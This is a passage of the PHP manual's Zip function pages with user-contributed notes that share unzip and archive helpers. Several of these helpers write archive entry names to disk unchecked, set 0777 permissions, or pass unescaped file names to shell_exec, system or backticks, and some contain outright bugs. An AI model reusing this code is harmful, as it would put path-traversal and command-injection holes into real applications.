    for($TC1=strlen($Str)-1;$TC1>=0;$TC1--){ //go from most significant byte
        $Num<<=8; //shift to left by one byte (8 bits)
        $Num|=ord($Str[$TC1]); //add new byte
    }
    return $Num;
}
?>

ENJOY!!!
wdim
yarms at mail dot ru 15-Aug-2009 06:24
very short version of function for unzipping files with folders structure:
<?php

function unzip($file){

    $zip=zip_open(realpath(".")."/".$file);
    if(!$zip) {return("Unable to proccess file '{$file}'");}

    $e='';

    while($zip_entry=zip_read($zip)) {
       $zdir=dirname(zip_entry_name($zip_entry));
       $zname=zip_entry_name($zip_entry);

       if(!zip_entry_open($zip,$zip_entry,"r")) {$e.="Unable to proccess file '{$zname}'";continue;}
       if(!is_dir($zdir)) mkdirr($zdir,0777);

       #print "{$zdir} | {$zname} \n";

       $zip_fs=zip_entry_filesize($zip_entry);
       if(empty($zip_fs)) continue;

       $zz=zip_entry_read($zip_entry,$zip_fs);

       $z=fopen($zname,"w");
       fwrite($z,$zz);
       fclose($z);
       zip_entry_close($zip_entry);

    }
    zip_close($zip);

    return($e);
}

function mkdirr($pn,$mode=null) {

  if(is_dir($pn)||empty($pn)) return true;
  $pn=str_replace(array('/', ''),DIRECTORY_SEPARATOR,$pn);

  if(is_file($pn)) {trigger_error('mkdirr() File exists', E_USER_WARNING);return false;}

  $next_pathname=substr($pn,0,strrpos($pn,DIRECTORY_SEPARATOR));
  if(mkdirr($next_pathname,$mode)) {if(!file_exists($pn)) {return mkdir($pn,$mode);} }
  return false;
}

unzip("test.zip");

?>

have a nice day :)
phillpafford+php at gmail dot com 12-Jun-2008 03:28
You could just use the linux commands

<?php

// Get the date
$date = date("m-d-y");

// Make Zip name
$zipname = "archive/site-script-backup." . $date . ".zip";

// Make a zip file
$cmd = `zip -r $zipname *`;

?>
rodrigo dot moraes at gmail dot com 29-Jan-2008 04:56
Here's a more simple extended class to add a whole directory recursively, keeping the same structure. It uses SPL.

<?php
class MyZipArchive extends ZipArchive
{
    /**
     *
     * Adds a directory recursively.
     *
     * @param string $filename The path to the file to add.
     *
     * @param string $localname Local name inside ZIP archive.
     *
     */
    public function addDir($filename, $localname)
    {
        $this->addEmptyDir($localname);
        $iter = new RecursiveDirectoryIterator($filename, FilesystemIterator::SKIP_DOTS);

        foreach ($iter as $fileinfo) {
            if (! $fileinfo->isFile() && !$fileinfo->isDir()) {
                continue;
            }

            $method = $fileinfo->isFile() ? 'addFile' : 'addDir';
            $this->$method($fileinfo->getPathname(), $localname . '/' .
                $fileinfo->getFilename());
        }
    }
}
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix suggested by (bart AT blueberry DOT nl) on 29-JUN-2011 with the following message. "Fix for the endless Iteratore add the flag FilesystemIterator::SKIP_DOTS"]
mmj48 at gmail dot com 08-Nov-2007 02:39
Heres a function I wrote that will extract a zip file with the same directory structure...

Enjoy:

<?php
function unzip($zipfile)
{
    $zip = zip_open($zipfile);
    while ($zip_entry = zip_read($zip))    {
        zip_entry_open($zip, $zip_entry);
        if (substr(zip_entry_name($zip_entry), -1) == '/') {
            $zdir = substr(zip_entry_name($zip_entry), 0, -1);
            if (file_exists($zdir)) {
                trigger_error('Directory "<b>' . $zdir . '</b>" exists', E_USER_ERROR);
                return false;
            }
            mkdir($zdir);
        }
        else {
            $name = zip_entry_name($zip_entry);
            if (file_exists($name)) {
                trigger_error('File "<b>' . $name . '</b>" exists', E_USER_ERROR);
                return false;
            }
            $fopen = fopen($name, "w");
            fwrite($fopen, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)), zip_entry_filesize($zip_entry));
        }
        zip_entry_close($zip_entry);
    }
    zip_close($zip);
    return true;
}
?>
nheimann at gmx dot net 03-Nov-2007 04:19
With this extension you can Add dirs with files with the ZipArchive Object

<?php
/**
 * FlxZipArchive, Extends ZipArchiv.
 * Add Dirs with Files and Subdirs.
 *
 * <code>
 *  $archive = new FlxZipArchive;
 *  // .....
 *  $archive->addDir( 'test/blub', 'blub' );
 * </code>
 */
class FlxZipArchive extends ZipArchive {
    /**
     * Add a Dir with Files and Subdirs to the archive
     *
     * @param string $location Real Location
     * @param string $name Name in Archive
     * @author Nicolas Heimann
     * @access private
     **/

    public function addDir($location, $name) {
        $this->addEmptyDir($name);

        $this->addDirDo($location, $name);
//     } // EO addDir;

    /**
     * Add Files & Dirs to archive.
     *
     * @param string $location Real Location
     * @param string $name Name in Archive
     * @author Nicolas Heimann
     * @access private
     **/

    private function addDirDo($location, $name) {
        $name .= '/';
        $location .= '/';

        // Read all Files in Dir
        $dir = opendir ($location);
        while ($file = readdir($dir))
        {
            if ($file == '.' || $file == '..') continue;

            // Rekursiv, If dir: FlxZipArchive::addDir(), else ::File();
            $do = (filetype() == 'dir') ? 'addDir' : 'addFile';
            $this->$do($location . $file, $name . $file);
        }
    } // EO addDirDo();
}
?>
bushj at rpi dot edu 25-Jun-2007 07:59
I made a zip stream handler in case your distribution does not have the built in one using the new ZipArchive system. This one also features the ability to grab entries by index as well as by name. It is similar in capabilities to the builtin gzip/bzip2 compression stream handlers (http://us2.php.net/manual/en/wrappers.compression.php) except it does not support writing.

To use:
fopen('zip://absolute/path/to/file.zip?entryname', $mode) or
fopen('zip://absolute/path/to/file.zip#entryindex', $mode) or
fopen('zip://absolute/path/to/file.zip', $mode)

$mode can only be 'r' or 'rb'. In the last case the first entry in the zip file is used.

<?php
class ZipStream {
  public $zip; //the zip file
  public $entry; //the opened zip entry
  public $length; //the uncompressed size of the zip entry
  public $position; //the current position in the zip entry read
  //Opens the zip file then retrieves and opens the entry to stream
  public function stream_open($path, $mode, $options, &$opened_path) {
    if ($mode != 'r' && $mode != 'rb') //only accept r and rb modes, no writing!
      return false;
    $path = 'file:///'.substr($path, 6); //switch out file:/// for zip:// so we can use url_parse
    $url = parse_url($path);
    //open the zip file
    $filename = $url['path'];
    $this->zip = zip_open($filename);
    if (!is_resource($this->zip))
      return false;

    //if entry name is given, find that entry
    if (array_key_exists('query', $url) && $url['query']) {
      $path = $url['query'];
      do {
        $this->entry = zip_read($this->zip);
        if (!is_resource($this->entry))
          return false;
      } while (zip_entry_name($this->entry) != $path);
    } else { //otherwise get it by index (default to 0)
      $id = 0;
      if (array_key_exists('fragment', $url) && is_int($url['fragment']))
        $id = $url['fragment']*1;
      for ($i = 0; $i <= $id; $i++) {
        $this->entry = zip_read($this->zip);
        if (!is_resource($this->entry))
          return false;
      }
    }
    //setup length and open the entry for reading
    $this->length = zip_entry_filesize($this->entry);
    $this->position = 0;
    zip_entry_open($this->zip, $this->entry, $mode);
    return true;
  }
  //Closes the zip entry and file
  public function stream_close() { @zip_entry_close($this->entry); @zip_close($this->zip); }
  //Returns how many bytes have been read from the zip entry
  public function stream_tell() { return $this->position; }
  //Returns true if the end of the zip entry has been reached
  public function stream_eof() { return $this->position >= $this->length; }
  //Returns the stat array, only 'size' is filled in with the uncompressed zip entry size
  public function url_stat() { return array('dev'=>0, 'ino'=>0, 'mode'=>0, 'nlink'=>0, 'uid'=>0, 'gid'=>0, 'rdev'=>0, 'size'=>$this->length, 'atime'=>0, 'mtime'=>0, 'ctime'=>0, 'blksize'=>0, 'blocks'=>0); }
  //Reads the next $count bytes or until the end of the zip entry. Returns the data or false if no data was read.
  public function stream_read($count) {
    $this->position += $count;
    if ($this->position > $this->length)
      $this->position = $this->length;
    return zip_entry_read($this->entry, $count);
  }
}
//Register the zip stream handler
stream_wrapper_register('zip', 'ZipStream'); //if this fails there is already a zip stream handler and we will just use that one
?>
nielsvandenberge at hotmail dot com 11-May-2007 11:29
This is the function I use to unzip a file.
It includes the following options:
* Unzip in any directory you like
* Unzip in the directory of the zip file
* Unzip in a directory with the zipfile's name in the directory of the zip file. (i.e.: C:\test.zip will be unzipped in  C:\test\)
* Overwrite existing files or not
* It creates non existing directories with the function Create_dirs($path)

You should use absolute paths with slashes (/) instead of backslashes (\).
I tested it with PHP 5.2.0 with php_zip.dll extension loaded

<?php
/**
 * Unzip the source_file in the destination dir
 *
 * @param   string      The path to the ZIP-file.
 * @param   string      The path where the zipfile should be unpacked, if false the directory of the zip-file is used
 * @param   boolean     Indicates if the files will be unpacked in a directory with the name of the zip-file (true) or not (false) (only if the destination directory is set to false!)
 * @param   boolean     Overwrite existing files (true) or not (false)
 *
 * @return  boolean     Succesful or not
 */
function unzip($src_file, $dest_dir=false, $create_zip_name_dir=true, $overwrite=true)
{
  if ($zip = zip_open($src_file))
  {
    if ($zip)
    {
      $splitter = ($create_zip_name_dir === true) ? "." : "/";
      if ($dest_dir === false) $dest_dir = substr($src_file, 0, strrpos($src_file, $splitter))."/";

      // Create the directories to the destination dir if they don't already exist
      create_dirs($dest_dir);

      // For every file in the zip-packet
      while ($zip_entry = zip_read($zip))
      {
        // Now we're going to create the directories in the destination directories

        // If the file is not in the root dir
        $pos_last_slash = strrpos(zip_entry_name($zip_entry), "/");
        if ($pos_last_slash !== false)
        {
          // Create the directory where the zip-entry should be saved (with a "/" at the end)
          create_dirs($dest_dir.substr(zip_entry_name($zip_entry), 0, $pos_last_slash+1));
        }

        // Open the entry
        if (zip_entry_open($zip,$zip_entry,"r"))
        {

          // The name of the file to save on the disk
          $file_name = $dest_dir.zip_entry_name($zip_entry);

          // Check if the files should be overwritten or not
          if ($overwrite === true || $overwrite === false && !is_file($file_name))
          {
            // Get the content of the zip entry
            $fstream = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));

            file_put_contents($file_name, $fstream );
            // Set the rights
            chmod($file_name, 0777);
            echo "save: ".$file_name."<br />";
          }

          // Close the entry
          zip_entry_close($zip_entry);
        }
      }
      // Close the zip-file
      zip_close($zip);
    }
  }
  else
  {
    return false;
  }

  return true;
}

/**
 * This function creates recursive directories if it doesn't already exist
 *
 * @param String  The path that should be created
 *
 * @return  void
 */
function create_dirs($path)
{
  if (!is_dir($path))
  {
    $directory_path = "";
    $directories = explode("/",$path);
    array_pop($directories);

    foreach($directories as $directory)
    {
      $directory_path .= $directory."/";
      if (!is_dir($directory_path))
      {
        mkdir($directory_path);
        chmod($directory_path, 0777);
      }
    }
  }
}

// Extract C:/zipfiletest/zip-file.zip to C:/zipfiletest/zip-file/ and overwrites existing files
unzip("C:/zipfiletest/zip-file.zip", false, true, true);

// Extract C:/zipfiletest/zip-file.zip to C:/another_map/zipfiletest/ and doesn't overwrite existing files. NOTE: It doesn't create a map with the zip-file-name!
unzip("C:/zipfiletest/zip-file.zip", "C:/another_map/zipfiletest/", true, false);

?>
jeswanth@gmail 30-Apr-2007 09:55
Hi, all

There are lot of functions given below which etracts files, but what they lack is setting file permissions. On some servers file permissions are very important and the script cease to work after creating first directory, So I have added chmod to the code. There is only one limitation to the code, files without file extension are neither treated as files or directories so they are not chmoded, anyway this does not affect the code. Hope this helps.

<?php
function unpackZip($dir,$file) {
   if ($zip = zip_open($dir.$file.".zip")) {
     if ($zip) {
       mkdir($dir.$file);
     chmod($dir.$file, 0777);
       while ($zip_entry = zip_read($zip)) {
         if (zip_entry_open($zip,$zip_entry,"r")) {
           $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
           $dir_name = dirname(zip_entry_name($zip_entry));
           if ($dir_name != ".") {
             $dir_op = $dir.$file."/";
               foreach ( explode("/",$dir_name) as $k) {
                 $dir_op = $dir_op . $k;
                 if (is_file($dir_op)) unlink($dir_op);
                 if (!is_dir($dir_op)) mkdir($dir_op);
            chmod($dir_op, 0777);
                 $dir_op = $dir_op . "/" ;
                 }
               }
           $fp=fopen($dir.$file."/".zip_entry_name($zip_entry),"w+");
        chmod($dir.$file."/".zip_entry_name($zip_entry), 0777);
           fwrite($fp,$buf);

           fclose($fp);

           zip_entry_close($zip_entry);
       } else
           return false;
       }
       zip_close($zip);
     }
  } else
     return false;

  return true;
}

$dir = $_SERVER['DOCUMENT_ROOT']."/"."destdirectory/";
$file = 'zipfilename_without_extension';
unpackZip($dir,$file);
$print = $_SERVER['DOCUMENT_ROOT'];
?>
bholub at chiefprojects dot com 17-Oct-2006 09:14
This will simply unpack (including directories) $zip to $dir -- in this example the zip is being uploaded.
<?php
    $dir = 'C:\\reports-temp\\';
    $zip = zip_open($_FILES['report_zip']['tmp_name']);
    while($zip_entry = zip_read($zip)) {
        $entry = zip_entry_open($zip,$zip_entry);
        $filename = zip_entry_name($zip_entry);
        $target_dir = $dir.substr($filename,0,strrpos($filename,'/'));
        $filesize = zip_entry_filesize($zip_entry);
        if (is_dir($target_dir) || mkdir($target_dir)) {
            if ($filesize > 0) {
                $contents = zip_entry_read($zip_entry, $filesize);
                file_put_contents($dir.$filename,$contents);
            }
        }
    }
?>
angelnsn1 at hotmail dot com 27-Jan-2006 03:06
this function extract all files and subdirectories, you can choose verbose mode for get paths of files extracted. the function return a msg what indicate the error, if msg is OK, all is done.

---

code:

<?php
function unzip($dir, $file, $verbose = 0) {

   $dir_path = "$dir$file";
   $zip_path = "$dir$file.zip";

   $ERROR_MSGS[0] = "OK";
   $ERROR_MSGS[1] = "Zip path $zip_path doesn't exists.";
   $ERROR_MSGS[2] = "Directory $dir_path for unzip the pack already exists, impossible continue.";
   $ERROR_MSGS[3] = "Error while opening the $zip_path file.";

   $ERROR = 0;

   if (file_exists($zip_path)) {

         if (!file_exists($dir_path)) {

            mkdir($dir_path);

         if (($link = zip_open($zip_path))) {

            while (($zip_entry = zip_read($link)) && (!$ERROR)) {

               if (zip_entry_open($link, $zip_entry, "r")) {

                  $data = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
                  $dir_name = dirname(zip_entry_name($zip_entry));
                  $name = zip_entry_name($zip_entry);

                  if ($name[strlen($name)-1] == '/') {

                        $base = "$dir_path/";

                     foreach ( explode("/", $name) as $k) {

                        $base .= "$k/";

                        if (!file_exists($base))
                           mkdir($base);

                     }

                  }
                  else {

                      $name = "$dir_path/$name";

                      if ($verbose)
                       echo "extracting: $name<br>";

                    $stream = fopen($name, "w");
                    fwrite($stream, $data);

                  }

                  zip_entry_close($zip_entry);

               }
               else
                  $ERROR = 4;

              }

              zip_close($link);

           }
           else
              $ERROR = "3";
       }
       else
          $ERROR = 2;
    }
    else
       $ERROR = 1;

   return $ERROR_MSGS[$ERROR];

}
?>

---

example:

<?php
$error = unzip("d:/www/dir/", "zipname", 1);

echo $error;
?>

---

i hope this help you,
good bye.
ringu at mail dot ru 20-Aug-2005 03:12
i try to find function that will show exists file in zip archive or not. of course i not found it. and so write mine:

first will just check archive for list of files, if not found all files function return FALSE:

<?php
function zipx_entries_exists()
{
    $names=array();
    $args=func_get_args();
    $far_size=count($args);
    if($args[0])
        {
            for(; $zip_entry=zip_read($args[0]); $names[]= zip_entry_name($zip_entry));
            for($x=1; $x<=$far_size; $t+=in_array($args[$x], $names), $x++);
            return $t==--$far_size;
        }else{
             return 'No zip file in descriptor!';
        }
}

example:
$zip=zip_open('any_zip_file_zip');
var_dump(zip_entries_exists($zip, 'photo_1.jpg', 'photo_2.jpg'));

second function will try to find files in zip, if not found it return string with names of not found files with specified delimeter:

function zipx_entries_nonexists_list()
{
    $names=array();
    $args=func_get_args();
    $m=NULL;
    $far_size=count($args);
    if($args[0])
        {
            for(; $zip_entry=zip_read($args[0]); $names[]= zip_entry_name($zip_entry));
            for($x=2; $x<=$far_size; $m.=(in_array($args[$x], $names) ? NULL : $args[$x].$args[1]), $x++);
            return trim($m, $args[1]);
        }else{
             return 'No zip file in descriptor!';
        }
}
?>

example:
<?php
$zip=zip_open('any_zip_file_zip');
var_dump(zip_entries_nonexists_list($zip, '<br />', 'photo_1.jpg', 'photo_2.jpg'));
?>

it will return if not found files:
photo_1.jpg<br />photo_2.jpg
tom 28-Jun-2005 06:33
If you just want to unzip a zip folder an alternative to some of the lengthy functions below is:

<?php

function unzip($zip_file, $src_dir, $extract_dir)
{
 copy($src_dir . "/" . $zip_file, $extract_dir . "/" . $zip_file);
 chdir($extract_dir);
 shell_exec("unzip $zip_file");
}

?>

You don't need the ZIP extension for this.
candido1212 at yahoo dot com dot br 27-Apr-2005 05:52
New Unzip function, recursive extract
Require mkdirr() (recursive create dir)

<?php
$file = "2537c61ef7f47fc3ae919da08bcc1911.zip";
$dir = getcwd();
function Unzip($dir, $file, $destiny="")
{
    $dir .= DIRECTORY_SEPARATOR;
    $path_file = $dir . $file;
    $zip = zip_open($path_file);
    $_tmp = array();
    $count=0;
    if ($zip)
    {
        while ($zip_entry = zip_read($zip))
        {
            $_tmp[$count]["filename"] = zip_entry_name($zip_entry);
            $_tmp[$count]["stored_filename"] = zip_entry_name($zip_entry);
            $_tmp[$count]["size"] = zip_entry_filesize($zip_entry);
            $_tmp[$count]["compressed_size"] = zip_entry_compressedsize($zip_entry);
            $_tmp[$count]["mtime"] = "";
            $_tmp[$count]["comment"] = "";
            $_tmp[$count]["folder"] = dirname(zip_entry_name($zip_entry));
            $_tmp[$count]["index"] = $count;
            $_tmp[$count]["status"] = "ok";
            $_tmp[$count]["method"] = zip_entry_compressionmethod($zip_entry);

            if (zip_entry_open($zip, $zip_entry, "r"))
            {
                $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
                if($destiny)
                {
                    $path_file = str_replace("/",DIRECTORY_SEPARATOR, $destiny . zip_entry_name($zip_entry));
                }
                else
                {
                    $path_file = str_replace("/",DIRECTORY_SEPARATOR, $dir . zip_entry_name($zip_entry));
                }
                $new_dir = dirname($path_file);

                // Create Recursive Directory
                mkdirr($new_dir);

                $fp = fopen($dir . zip_entry_name($zip_entry), "w");
                fwrite($fp, $buf);
                fclose($fp);

                zip_entry_close($zip_entry);
            }
            echo "\n</pre>";
            $count++;
        }

        zip_close($zip);
    }
}
Unzip($dir,$file);
?>
23-Feb-2005 05:54
If (as me) all you wanted to do is store a big string (for example, a serialized array or the like) in a mysql BLOB field, remember that mysql has a COMPRESS() and UNCOMPRESS() pair of functions that do exactly that. Compression/decompression is therefore available also when accessing the DB from other languages like java, etc.
krishnendu at spymac dot com 31-May-2004 10:28
If you want to unzip an password protected file with php..try the following command....it works in Unix/Apache environment...I haven't tested in any other environment...

system("`which unzip` -P Password $zipfile -d $des",$ret_val)

Where $zipfile is the path to the .zip to be unzipped and $des is path to the destination directory.....here both absolute and relative path to the script (which contains this system command) will work...

if everything runs well...file should be unzipped at the $des directory..and you will get 0 value for $ret_val , which means success(info-zip.org)

Regards
Krishnendu
travis 17-Jun-2003 07:06
just a not of caution--using the dynamic zip class mentioned earlier seems to cause issues with high ascii characters (their values are not preserved correctly, and the file will not unzip)
chris 23-Mar-2003 07:32
Watch out with archives that contain subfolders if you're using the zip functions to extract archives to actual files.  Let's say you're trying to extract foldername/filename.txt from the archive.  You can't fopen a directory that doesn't exist, so you'll have to check for the existance of directory foldername and create it if it isn't found, then fopen foldername/filename.txt and begin writing to that.


Close a ZIP file archive

  • « Zip Functions
  • zip_entry_close »
  • PHP Manual
  • Zip Functions
  • Close a ZIP file archive

zip_close

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PECL zip >= 1.0.0)

zip_close — Close a ZIP file archive

Description

void zip_close ( resource $zip )

Closes the given ZIP file archive.

Parameters

zip

A ZIP file previously opened with zip_open().

Return Values

No value is returned.

See Also

  • zip_open() - Open a ZIP file archive
  • zip_read() - Read next entry in a ZIP file archive

User Contributed Notes

There are no user contributed notes for this page.


Close a directory entry

  • « zip_close
  • zip_entry_compressedsize »
  • PHP Manual
  • Zip Functions
  • Close a directory entry

zip_entry_close

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PECL zip >= 1.0.0)

zip_entry_close — Close a directory entry

Description

bool zip_entry_close ( resource $zip_entry )

Closes the specified directory entry.

Parameters

zip_entry

A directory entry previously opened zip_entry_open().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • zip_entry_open() - Open a directory entry for reading
  • zip_entry_read() - Read from an open directory entry

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the compressed size of a directory entry

  • « zip_entry_close
  • zip_entry_compressionmethod »
  • PHP Manual
  • Zip Functions
  • Retrieve the compressed size of a directory entry

zip_entry_compressedsize

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PECL zip >= 1.0.0)

zip_entry_compressedsize — Retrieve the compressed size of a directory entry

Description

int zip_entry_compressedsize ( resource $zip_entry )

Returns the compressed size of the specified directory entry.

Parameters

zip_entry

A directory entry returned by zip_read().

Return Values

The compressed size.

See Also

  • zip_open() - Open a ZIP file archive
  • zip_read() - Read next entry in a ZIP file archive

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the compression method of a directory entry

  • « zip_entry_compressedsize
  • zip_entry_filesize »
  • PHP Manual
  • Zip Functions
  • Retrieve the compression method of a directory entry

zip_entry_compressionmethod

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PECL zip >= 1.0.0)

zip_entry_compressionmethod — Retrieve the compression method of a directory entry

Description

string zip_entry_compressionmethod ( resource $zip_entry )

Returns the compression method of the directory entry specified by zip_entry.

Parameters

zip_entry

A directory entry returned by zip_read().

Return Values

The compression method.

See Also

  • zip_open() - Open a ZIP file archive
  • zip_read() - Read next entry in a ZIP file archive

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the actual file size of a directory entry

  • « zip_entry_compressionmethod
  • zip_entry_name »
  • PHP Manual
  • Zip Functions
  • Retrieve the actual file size of a directory entry

zip_entry_filesize

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PECL zip >= 1.0.0)

zip_entry_filesize — Retrieve the actual file size of a directory entry

Description

int zip_entry_filesize ( resource $zip_entry )

Returns the actual size of the specified directory entry.

Parameters

zip_entry

A directory entry returned by zip_read().

Return Values

The size of the directory entry.

See Also

  • zip_open() - Open a ZIP file archive
  • zip_read() - Read next entry in a ZIP file archive

User Contributed Notes

Reflex 17-Jul-2010 02:17
Simple function that return total size of files in archive.
May be useful for check for zip bombs.

<?php

function get_zip_originalsize($filename) {
    $size = 0;
    $resource = zip_open($filename);
    while ($dir_resource = zip_read($resource)) {
        $size += zip_entry_filesize($dir_resource);
    }
    zip_close($resource);

    return $size;
}

$size = get_zip_originalsize('file.zip');
echo "original size: $size bytes\n";

?>


Retrieve the name of a directory entry

  • « zip_entry_filesize
  • zip_entry_open »
  • PHP Manual
  • Zip Functions
  • Retrieve the name of a directory entry

zip_entry_name

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PECL zip >= 1.0.0)

zip_entry_name — Retrieve the name of a directory entry

Description

string zip_entry_name ( resource $zip_entry )

Returns the name of the specified directory entry.

Parameters

zip_entry

A directory entry returned by zip_read().

Return Values

The name of the directory entry.

See Also

  • zip_open() - Open a ZIP file archive
  • zip_read() - Read next entry in a ZIP file archive

User Contributed Notes

kevyn at opsone dot net 20-Nov-2008 04:21
Big note for filename with accents.

Some Zip softwares encode accents with CP850.

So use iconv for keeping your accents SAFE !
leandro_dealmeida at hotmail dot com 27-Sep-2002 06:21
If you want to get the real name of the file without the directory name, you can just use the function basename() as the follow:

<?
$zip_dir = "./import/";
$zip = zip_open($zip_dir."import.zip");
if ($zip) {
    while ($zip_entry = zip_read($zip)) {

        $file = basename(zip_entry_name($zip_entry));
        $fp = fopen($zip_dir.basename($file), "w+");

        if (zip_entry_open($zip, $zip_entry, "r")) {
            $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
            zip_entry_close($zip_entry);
        }

           fwrite($fp, $buf);
        fclose($fp);

        echo "The file ".$file." was extracted to dir ".$zip_dir."\n<br>";
    }
    zip_close($zip);
}
?>

Thefore you can extract files without concern with the directory that is set inside the zip source.

Remember to give write permission (w) on that directory.

Hello from Brazil.
Leandro


Open a directory entry for reading

  • « zip_entry_name
  • zip_entry_read »
  • PHP Manual
  • Zip Functions
  • Open a directory entry for reading

zip_entry_open

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PECL zip >= 1.0.0)

zip_entry_open — Open a directory entry for reading

Description

bool zip_entry_open ( resource $zip , resource $zip_entry [, string $mode ] )

Opens a directory entry in a zip file for reading.

Parameters

zip

A valid resource handle returned by zip_open().

zip_entry

A directory entry returned by zip_read().

mode

Any of the modes specified in the documentation of fopen().

Note:

Currently, mode is ignored and is always "rb". This is due to the fact that zip support in PHP is read only access.

Return Values

Returns TRUE on success or FALSE on failure.

Note:

Unlike fopen() and other similar functions, the return value of zip_entry_open() only indicates the result of the operation and is not needed for reading or closing the directory entry.

See Also

  • zip_entry_close() - Close a directory entry
  • zip_entry_read() - Read from an open directory entry

User Contributed Notes

jrhodes at roket-productions dot com 27-Nov-2008 12:21
'rb' is a valid mode, and means Read-Only Binary Mode.  This mode is used for portability reasons (see fopen).


Read from an open directory entry

  • « zip_entry_open
  • zip_open »
  • PHP Manual
  • Zip Functions
  • Read from an open directory entry

zip_entry_read

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PECL zip >= 1.0.0)

zip_entry_read — Read from an open directory entry

Description

string zip_entry_read ( resource $zip_entry [, int $length = 1024 ] )

Reads from an open directory entry.

Parameters

zip_entry

A directory entry returned by zip_read().

length

The number of bytes to return.

Note:

This should be the uncompressed length you wish to read.

Return Values

Returns the data read, empty string on end of a file, or FALSE on error.

See Also

  • zip_entry_open() - Open a directory entry for reading
  • zip_entry_close() - Close a directory entry
  • zip_entry_filesize() - Retrieve the actual file size of a directory entry

User Contributed Notes

There are no user contributed notes for this page.


Open a ZIP file archive

  • « zip_entry_read
  • zip_read »
  • PHP Manual
  • Zip Functions
  • Open a ZIP file archive

zip_open

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PECL zip >= 1.0.0)

zip_open — Open a ZIP file archive

Description

resource zip_open ( string $filename )

Opens a new zip archive for reading.

Parameters

filename

The file name of the ZIP archive to open.

Return Values

Returns a resource handle for later use with zip_read() and zip_close() or returns the number of error if filename does not exist or in case of other error.

See Also

  • zip_read() - Read next entry in a ZIP file archive
  • zip_close() - Close a ZIP file archive

User Contributed Notes

fuljencio at gmail dot com 13-Oct-2009 05:34
getting a mozilla addon version (a firefox extension, for instance):

<?php
    function get_addon_version($path)
    {
        // open zip
        $zip = zip_open($path);

            // find entry
            do {
                $entry = zip_read($zip);
            } while ($entry && zip_entry_name($entry) != "install.rdf");

            // open entry
            zip_entry_open($zip, $entry, "r");

                // read entry
                $entry_content = zip_entry_read($entry, zip_entry_filesize($entry));

                // position of <em:version>
                $version_open_pos = strpos($entry_content, "<em:version>");

                // position of </em:version>
                $version_close_pos = strpos($entry_content, "</em:version>", $version_open_pos);

                // version
                $version = substr(
                        $entry_content,
                        $version_open_pos + strlen("<em:version>"),
                        $version_close_pos - ($version_open_pos + strlen("<em:version>"))
                );

            // close entry
            zip_entry_close($entry);

        // close zip
        zip_close($zip);

        return $version;
    }
?>
strefrextor at gmail [.] com 13-Sep-2009 01:43
my basic extract zip file function

<?php
    function ezip($zip, $hedef = '')
    {
        $root = $_SERVER['DOCUMENT_ROOT'];
        $zip = zip_open($root . $zip);
        while($zip_icerik = zip_read($zip)):
            $zip_dosya = zip_entry_name($zip_icerik);
            if(strpos($zip_dosya, '.')):
                $hedef_yol = $root . $hedef . 'x/'.$zip_dosya;
                touch($hedef_yol);
                $yeni_dosya = fopen($hedef_yol, 'w+');
                fwrite($yeni_dosya, zip_entry_read($zip_icerik));
                fclose($yeni_dosya);
            else:
                @mkdir($root . $hedef . 'x/'.$zip_dosya);
            endif;
        endwhile;
    }

    ezip('files.zip', 'unzip_files/');
?>
david at php dot net 20-Jun-2009 12:32
Note that the Zip functions return an integer error number in the event of error. So:

<?php
$zip = zip_open($file);

if ($zip) {
?>

is incorrect. Instead use:

<?php
$zip = zip_open($file);

if (is_resource($zip)) {
?>
Anonymous 16-Sep-2008 08:17
Note, this function ignores custom stream wrappers, like the ones created by stream_wrapper_register - which is really too bad.
xsign dot dll at clansuite dot com 07-Sep-2008 06:22
If you want to simply extract a strain of a zip file, then use this func. Maybe it helps:

<?php
/**
* This method unzips a directory within a zip-archive
*
* @author Florian 'x!sign.dll' Wolf
* @license LGPL v2 or later
* @link http://www.xsigndll.de
* @link http://www.clansuite.com
*/

function extractZip( $zipFile = '', $dirFromZip = '' )
{
    define(DIRECTORY_SEPARATOR, '/');

    $zipDir = getcwd() . DIRECTORY_SEPARATOR;
    $zip = zip_open($zipDir.$zipFile);

    if ($zip)
    {
        while ($zip_entry = zip_read($zip))
        {
            $completePath = $zipDir . dirname(zip_entry_name($zip_entry));
            $completeName = $zipDir . zip_entry_name($zip_entry);

            // Walk through path to create non existing directories
            // This won't apply to empty directories ! They are created further below
            if(!file_exists($completePath) && preg_match( '#^' . $dirFromZip .'.*#', dirname(zip_entry_name($zip_entry)) ) )
            {
                $tmp = '';
                foreach(explode('/',$completePath) AS $k)
                {
                    $tmp .= $k.'/';
                    if(!file_exists($tmp) )
                    {
                        @mkdir($tmp, 0777);
                    }
                }
            }

            if (zip_entry_open($zip, $zip_entry, "r"))
            {
                if( preg_match( '#^' . $dirFromZip .'.*#', dirname(zip_entry_name($zip_entry)) ) )
                {
                    if ($fd = @fopen($completeName, 'w+'))
                    {
                        fwrite($fd, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)));
                        fclose($fd);
                    }
                    else
                    {
                        // We think this was an empty directory
                        mkdir($completeName, 0777);
                    }
                    zip_entry_close($zip_entry);
                }
            }
        }
        zip_close($zip);
    }
    return true;
}

// The call to exctract a path within the zip file
extractZip( 'clansuite.zip', 'core/filters' );
?>
alban dot lopez+php dot net at gmail dot com 17-Nov-2007 12:13
See this class to make, read Infos or extract ZIP archive.
see EasyArchive.class.php on http://ajaxbrowser.free.fr/ to manage like that ZIP, GZIP, BZIP and TAR archive.

<?
$ARCHIVE = new zip;

$ARCHIVE->makeZip('./','./toto.zip'); // make an ZIP archive
